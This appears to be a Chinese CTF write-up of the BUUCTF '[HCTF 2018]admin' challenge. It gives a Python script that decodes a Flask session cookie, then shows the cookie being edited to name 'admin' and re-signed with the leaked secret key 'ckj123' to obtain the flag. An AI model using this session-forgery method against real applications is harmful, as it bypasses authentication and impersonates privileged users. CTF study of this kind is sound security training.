BUUCTF之 [HCTF 2018]admin

 

这里的ckj123等下使用脚本时是需要用来作为参数的。

 刚刚以 1 用户登进去后给了个session

源代码的意思是:

用户如果以admin的身份登录,就直接可以拿到flag了,所以直接注册账号为admin,密码为123就成功拿到flag了。如果使用脚本的话,就需要伪造session为admin登陆的时候。

这是以用户1登录时的session
.eJxFUMtqg0AU_ZVy11moMRshC2FqsTBXlDHD3E1IjInOIwWTYJyQf69NoV0eDuf5gO1xaC8dJNfh1i5g2x8gecDbHhJAV1n8UCMKsiQzq2RmSGeWRzMW9Z3rxpPADl0eoFcxilOMOh2RbXoSaUTa6oKlYSHrCfWnJVYukVWGi6rjPr8TawISXY9OBT8adOWkRLlCmfUoMlcIdVe-jpSsl6grXQgTorZOuY3h_n1CyUc156Bv1vBcQHMZjtvrl2nP_xPYoSOHeo7tUfOJmIm5zEfSJsZIRUqrFWd5RC6ba_GQe-x4un7Z9W53av-cuLRhW_4y552bCQhhAbdLO7w-gzCA5zeHeWv6.Yyv-hQ.FKxl_VbNWhs_qhLkAV7jzZVTrdI

 使用脚本解密,脚本命名为session解密.py

脚本如下:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))		# 运行时需要输入一个参数

运行得到:

 得到如下:

{'_fresh': True, '_id': b'6de4f056eeaeaadf1e3fee51273e3a6b476858860045be06f9c8059e262ed4744d14a321d74e8b6f445b6d2a495ab51f961c56ae764c99569fbed3125c0a0677', 'csrf_token': b'47afcc44b632d981b0f987f6b69026fad13533a0', 'image': b'1iuy', 'name': '1', 'user_id': '10'}

将name的值修改为admin,重新用脚本在进行加密。

脚本下载地址:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

 命令如下:

python flask_session_cookie_manager3.py encode -s “ckj123” -t “ ”

ckj123就是最上面源码里面的,算是固定的吧

-t 后双引号里面就放上修改name的值为admin后的序列化字符串。

运行如下:

 

得到伪造用户为admin的session,如下:

.eJxFUMtqwkAU_ZVy1y6SNG4EF4FpSgpzQ8LEYe5GbIxmXhaiEjPivze10C4Ph_O8w_YwdOceVpfh2i1gq_ewusPLJ6wAfe3wXY0oyJHMnZK5JZM7nsxYNDdu2kACe_RFhEGlKI4pmmxEttEksoSMMyXL4lI2E5oPR6x6RVZbLuqeh-JGrI1I9Bq9in406KtJiWqJMtcocl8KdVOhSZRsXtHUphQ2RuO88hvLw9uEko9qzsHQruGxgPY8HLaXL9ud_iewfU8ezRyr0fCJmE25LEYyNsVEJcqoJWdFQj6fa_GYB-x5tn7aab87dn9OXLq4q36Z087PBOz2Xp9gAddzNzx_gziCxzdIem3S.YywCaw.P16KUe4sMQNjKXmyTSKVCrtGUQc

再在题目里修改session的值,刷新,成功拿到flag

 

flag{21ec9acc-8c8d-49ad-bccc-7253ac529067}

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值